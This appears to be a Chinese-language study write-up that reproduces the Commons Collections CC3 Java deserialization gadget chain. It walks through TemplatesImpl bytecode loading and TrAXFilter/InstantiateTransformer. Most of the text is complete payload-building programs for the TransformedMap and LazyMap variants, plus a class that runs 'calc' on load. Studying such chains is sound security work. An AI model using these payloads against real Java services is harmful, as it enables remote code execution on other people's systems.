java 反序列化 cc3 复现
版本要求:jdk版本<=8u65,common-collections版本<=3.2.1
在很多时候,Runtime会被黑名单禁用.在这些情况下,我们需要去构造自定义的类加载器来加载自定义的字节码.
类加载机制
双亲委派
这里直接粘别人的了.
实现一个自定义类加载器需要继承 ClassLoader ,同时覆盖 findClass 方法。
ClassLoader 里面有三个重要的方法 loadClass() 、findClass() 和 defineClass() 。
loadClass() 方法是加载目标类的入口,它首先会查找当前 ClassLoader 以及它的双亲里面是否已经加载了目标类,如果没有找到就会让双亲尝试加载,如果双亲都加载不了,就会调用 findClass() 让自定义加载器自己来加载目标类。ClassLoader 的 findClass() 方法是需要子类来覆盖的,不同的加载器将使用不同的逻辑来获取目标类的字节码。拿到这个字节码之后再调用 defineClass() 方法将字节码转换成 Class 对象。
想要理解java的类加载机制,最重要的是双亲委派机制.
类加载器根据全限定类名判断类是否加载,如果已经加载则直接返回已加载类。如果没有加载,类加载器会首先委托父类加载器加载此类。父类加载器也会采用相同的策略,查看是否自己已经加载该类,如果有就返回,没有就继续委托给父类进行加载,直到
BootStrapClassLoader
。如果父类加载器无法加载,就会交给子类进行加载,如果还不能加载就继续交给子类加载。顺序为BootStrapClassLoader->ExtClassLoader->AppClassLoader->自定义类加载器
。
双亲委派机制的好处:
能够有效确保一个类的全局唯一性,当程序中出现多个限定名相同的类时,类加载器在执行加载时,始终只会加载其中的某一个类。加载的先后顺序其实确定了类被加载的优先级,如果出现了限定名相同的类,类加载器在执行加载时只会加载优先级最高的那个类。
动态加载
先来看一段代码.
package org.example;
public class test {
{
System.out.println(1);
}
//实例初始化块,会在实例初始化之前被调用.
static {
System.out.println(2);
}
//静态初始化块,会在类被初始化时被调用
public test() {
System.out.println(3);
}
//构造函数,会在实例被初始化时调用
public void aaa() {
System.out.println(4);
}
//一般函数,需要手动去调用
}
那我们看看两个例子
package org.example;
public class Main {
public static void main(String[] args) throws Exception{
String url = "org.example.test";
Class<?> classname = Class.forName(url); //2
test test1 = (test)classname.newInstance(); //1 3
test1.aaa(); //4
}
}
Class.forName
除了会进行类加载以外,还会进行类的初始化.
package org.example;
public class Main {
public static void main(String[] args) throws Exception{
String url = "org.example.test";
ClassLoader classloader = ClassLoader.getSystemClassLoader();
Class<?> clazz = classloader.loadClass(url);
test test1 = (test)clazz.newInstance(); //2 1 3
test1.aaa(); //4
}
}
这里要解释一下为什么在loadClass
的时候没有输出2,而是在后面输出的.因为loadClass仅对类进行加载而不去进行初始化,因此无法触发静态初始化块.
Templatesimpl类
这个类实现了Serializable接口,同时重写了defineClass,能够去加载自定义的类.
defineClass
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
查找引用
defineTransletClasses
private void defineTransletClasses()
throws TransformerConfigurationException {
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new HashMap<>();
}
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
这里面调用了defineClass
,但是是私有的方法,继续查找引用
虽然getTransletIndex是public方法,但是这里选择getTransletInstance,原因下面说
getTransletInstance
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}
return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
可以看到有这样一句非常的关键
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
完美的解决了在使用ClassLoader时只加载不初始化的问题.
注意这里的判断条件需要满足.
if (_name == null) return null;
if (_class == null) defineTransletClasses();
查找引用
newTransformer
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}
wc总算找到public方法了.
Templatesimpl利用链
那么此时就可以去归纳梳理TemplatesLmpl利用链.
在defineTranslatedClasses中存在下面的内容
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
看看_bytecodes
是干什么的.
private byte[][] _bytecodes = null;
这个数组中就是我们想要去反序列化的值.
按照上面的逻辑去写个脚本.
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Main {
public static void main(String[] args) throws Exception{
TemplatesImpl templatesimpl = new TemplatesImpl();
Class clazz = templatesimpl.getClass();
Field field = clazz.getDeclaredField("_name");
field.setAccessible(true);
field.set(templatesimpl, "test");
Field field2 = clazz.getDeclaredField("_bytecodes");
field2.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("F:\\idea_workspace\\cc3\\target\\classes\\org\\example\\test.class"));
byte[][] codes = {code};
field2.set(templatesimpl, codes);
templatesimpl.newTransformer();
}
}
一跑发现报错,老实了
跟进错误查看.发现是defineTransletClasses
的一部分.
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});
跟进查看_tfactory
private transient TransformerFactoryImpl _tfactory = null;
发现初始化的值为null,所以会在调用getExternalExtensionsMap
时出现报错.给他赋个初值.
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Main {
public static void main(String[] args) throws Exception{
TemplatesImpl templatesimpl = new TemplatesImpl();
Class clazz = templatesimpl.getClass();
Field field = clazz.getDeclaredField("_name");
field.setAccessible(true);
field.set(templatesimpl, "test");
Field field2 = clazz.getDeclaredField("_bytecodes");
field2.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("F:\\idea_workspace\\cc3\\target\\classes\\org\\example\\test.class"));
byte[][] codes = {code};
field2.set(templatesimpl, codes);
Field field3 = clazz.getDeclaredField("_tfactory");
field3.setAccessible(true);
field3.set(templatesimpl, new TransformerFactoryImpl());
templatesimpl.newTransformer();
}
跑一下,又爆了个空指针的错误
这三处报错是层层套的关系,再分析defineTransletClasses
当运行到这里的时候,_auxClasses
的值为null,因此出现了空指针错误.
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
然而向上追述发现这个_auxClasses
的赋值是一个无法解决的问题
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new HashMap<>();
}
如果我们只给_bytecodes
这个二维字节数组添加一个一维数组,那么就必然无法给_auxClasses
赋值.
尝试使用反射去修改值,则出现了更大的问题.发现这个_auxClasses
是用来指定defineClass
加载的默认的类的,如果赋值的话则会出现更多的报错和问题.
只能使这个分支走上面的那个if
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
断点调试发现此时superClass.getName
的父类为java.lang.Object
(这里的superClass指的就是恶意类test的父类).这不行,我们得让他的父类为AbstractTranslet
才能够相等.改写test恶意类如下.
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class test extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {
throw new RuntimeException("Exploit failed");
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
idea可以自动补全没有实现的方法,有点过于nb了.
运行成功弹出计算器.虽然还有报错,但是是在执行命令以后报的,类中没有进行捕获处理.但是我们已经执行命令了,索性也不管他.
对接cc1和cc6
由于我们最后使用的是newTransformer
方法,该方法的返回值为一个Transformer
对象.那么此时我们就有了对接cc1和cc6的能力.对接位置进行如下修改.
ConstantTransformer ct = new ConstantTransformer(templatesimpl);
InvokerTransformer it = new InvokerTransformer("newTransformer", null, null);
Transformer[] transformers = {ct, it};
后面直接跟ChainedTransformer
去构造链子即可.
AnotationInvocationHandler
版本的利用链如下:
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) throws Exception{
TemplatesImpl templatesimpl = new TemplatesImpl();
Class<?> clazz = templatesimpl.getClass();
Field field = clazz.getDeclaredField("_name");
field.setAccessible(true);
field.set(templatesimpl, "test");
Field field2 = clazz.getDeclaredField("_bytecodes");
field2.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("F:\\idea_workspace\\cc3\\target\\classes\\org\\example\\test.class"));
byte[][] codes = {code};
field2.set(templatesimpl, codes);
Field field3 = clazz.getDeclaredField("_tfactory");
field3.setAccessible(true);
field3.set(templatesimpl, new TransformerFactoryImpl());
ConstantTransformer ct = new ConstantTransformer(templatesimpl);
InvokerTransformer it = new InvokerTransformer("newTransformer", null, null);
Transformer[] transformers = {ct, it};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
/*
ChainedTransformer
*/
HashMap<Object, Object> map = new HashMap<>();
map.put("value", ""); //解释二
Map decorated = TransformedMap.decorate(map, null, chainedTransformer);
/*
TransformedMap.decorate
*/
Class clazz1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annoConstructor = clazz1.getDeclaredConstructor(Class.class, Map.class);
annoConstructor.setAccessible(true);
Object poc = annoConstructor.newInstance(Target.class, decorated); //解释一
/*
AnnotationInvocationHandler
*/
serial(poc);
unserial();
}
public static void serial(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("./cc1.bin"));
out.writeObject(obj);
}
public static void unserial() throws IOException, ClassNotFoundException {
ObjectInputStream in = new ObjectInputStream(new FileInputStream("./cc1.bin"));
in.readObject();
}
}
LazyMap
版本的利用链如下
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.io.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.ExceptionPredicate;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) throws Exception{
TemplatesImpl templatesimpl = new TemplatesImpl();
Class<?> clazz = templatesimpl.getClass();
Field field = clazz.getDeclaredField("_name");
field.setAccessible(true);
field.set(templatesimpl, "test");
Field field2 = clazz.getDeclaredField("_bytecodes");
field2.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("F:\\idea_workspace\\cc3\\target\\classes\\org\\example\\test.class"));
byte[][] codes = {code};
field2.set(templatesimpl, codes);
Field field3 = clazz.getDeclaredField("_tfactory");
field3.setAccessible(true);
field3.set(templatesimpl, new TransformerFactoryImpl());
ConstantTransformer ct = new ConstantTransformer(templatesimpl);
InvokerTransformer it = new InvokerTransformer("newTransformer", null, null);
Transformer[] transformers = {ct, it};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map lazymap = LazyMap.decorate(new HashMap(), chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(LazyMap.decorate(new HashMap(), new ConstantTransformer(null)), null);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, null);
Class clazz1 = TiedMapEntry.class;
Field field1 = clazz1.getDeclaredField("map");
field1.setAccessible(true);
field1.set(tiedMapEntry, lazymap);
serial(hashMap);
unserial();
}
public static void serial(Object obj) throws Exception {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("./cc1.bin"));
out.writeObject(obj);
}
public static void unserial() throws Exception {
ObjectInputStream in = new ObjectInputStream(new FileInputStream("./cc1.bin"));
in.readObject();
}
}
归纳总结得出利用链:
cc1出口的:
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
AbstractInputCheckedMapDecorator.MapEntry.setValue()
TransformedMap.checkSetValue()
ChainedTransformer.transform()
ConstantTransformer.transform()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TemplatesImpl.defineClass()
InvokerTransformer.transform()
cc6出口的:
Gadget chain:
ObjectInputStream.readObject()
HashMap.readObject()
TiedMapEntry.hashCode()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TemplatesImpl.defineClass()
InvokerTransformer.transform()
绕过InvokerTransformer
然而我们对ysoserial工具进行反编译,发现他的cc2的payload不是像我们上面那样写的,而是绕过了InvokerTransformer
.
查找TemplatesImpl
中newTransformer
的用法
来到了TraxFilter类
TraxFilter
public TrAXFilter(Templates templates) throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}
发现在构造方法中调用了templates.newTransformer();
,templates
的值是自己传入的.那么此时需要有一个能够触发别人构造方法多的类.
InstantiateTransformer
看transform方法
public Object transform(Object input) {
try {
if (!(input instanceof Class)) {
throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));
} else {
Constructor con = ((Class)input).getConstructor(this.iParamTypes);
return con.newInstance(this.iArgs);
}
} catch (NoSuchMethodException var3) {
throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
} catch (InstantiationException var4) {
InstantiationException ex = var4;
throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
} catch (IllegalAccessException var5) {
IllegalAccessException ex = var5;
throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
} catch (InvocationTargetException var6) {
InvocationTargetException ex = var6;
throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
}
}
忽略那一堆异常处理,直接看核心逻辑
Constructor con =((Class)input).getConstructor(this.iParamTypes);
return con.newInstance(this.iArgs);
这就很明显了,先获取了类型为Class
的input
参数的构造方法,构造方法的参数列表为this.iParamTypes
,然后又创建了一个该类的实例并返回.
那么我们就可以得到修改后的衔接部分如下
ConstantTransformer ct = new ConstantTransformer(TrAXFilter.class);
InstantiateTransformer it = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesimpl});
Transformer[] transformers = {ct, it};
比较好理解,获取的是TrAXFilter
的构造方法,给构造方法传入的参数是Object[]{templatesimpl}
至此重新给出利用InstantiateTransformer
的payload
AnotationInvokationHandler
的:
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) throws Exception{
TemplatesImpl templatesimpl = new TemplatesImpl();
Class<?> clazz = templatesimpl.getClass();
Field field = clazz.getDeclaredField("_name");
field.setAccessible(true);
field.set(templatesimpl, "test");
Field field2 = clazz.getDeclaredField("_bytecodes");
field2.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("F:\\idea_workspace\\cc3\\target\\classes\\org\\example\\test.class"));
byte[][] codes = {code};
field2.set(templatesimpl, codes);
Field field3 = clazz.getDeclaredField("_tfactory");
field3.setAccessible(true);
field3.set(templatesimpl, new TransformerFactoryImpl());
ConstantTransformer ct = new ConstantTransformer(TrAXFilter.class);
InstantiateTransformer it = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesimpl});
Transformer[] transformers = {ct, it};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
/*
ChainedTransformer */
HashMap<Object, Object> map = new HashMap<>();
map.put("value", ""); //解释二
Map decorated = TransformedMap.decorate(map, null, chainedTransformer);
/*
TransformedMap.decorate */
Class clazz1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annoConstructor = clazz1.getDeclaredConstructor(Class.class, Map.class);
annoConstructor.setAccessible(true);
Object poc = annoConstructor.newInstance(Target.class, decorated); //解释一
/*
AnnotationInvocationHandler */
serial(poc);
unserial();
}
public static void serial(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("./cc1.bin"));
out.writeObject(obj);
}
public static void unserial() throws IOException, ClassNotFoundException {
ObjectInputStream in = new ObjectInputStream(new FileInputStream("./cc1.bin"));
in.readObject();
}
}
LazyMap
的:
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import javax.xml.transform.Templates;
import java.io.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) throws Exception{
TemplatesImpl templatesimpl = new TemplatesImpl();
Class<?> clazz = templatesimpl.getClass();
Field field = clazz.getDeclaredField("_name");
field.setAccessible(true);
field.set(templatesimpl, "test");
String bytecodes = "_bytecodes";
Field field2 = clazz.getDeclaredField(bytecodes);
field2.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("F:\\idea_workspace\\cc3\\target\\classes\\org\\example\\test.class"));
byte[][] codes = {code};
field2.set(templatesimpl, codes);
Field field3 = clazz.getDeclaredField("_tfactory");
field3.setAccessible(true);
field3.set(templatesimpl, new TransformerFactoryImpl());
ConstantTransformer ct = new ConstantTransformer(TrAXFilter.class);
InstantiateTransformer it = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesimpl});
Transformer[] transformers = {ct, it};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map lazymap = LazyMap.decorate(new HashMap(), chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(LazyMap.decorate(new HashMap(), new ConstantTransformer(null)), null);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, null);
Class clazz1 = TiedMapEntry.class;
Field field1 = clazz1.getDeclaredField("map");
field1.setAccessible(true);
field1.set(tiedMapEntry, lazymap);
serial(hashMap);
unserial();
}
public static void serial(Object obj) throws Exception {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("./cc1.bin"));
out.writeObject(obj);
}
public static void unserial() throws Exception {
ObjectInputStream in = new ObjectInputStream(new FileInputStream("./cc1.bin"));
in.readObject();
}
}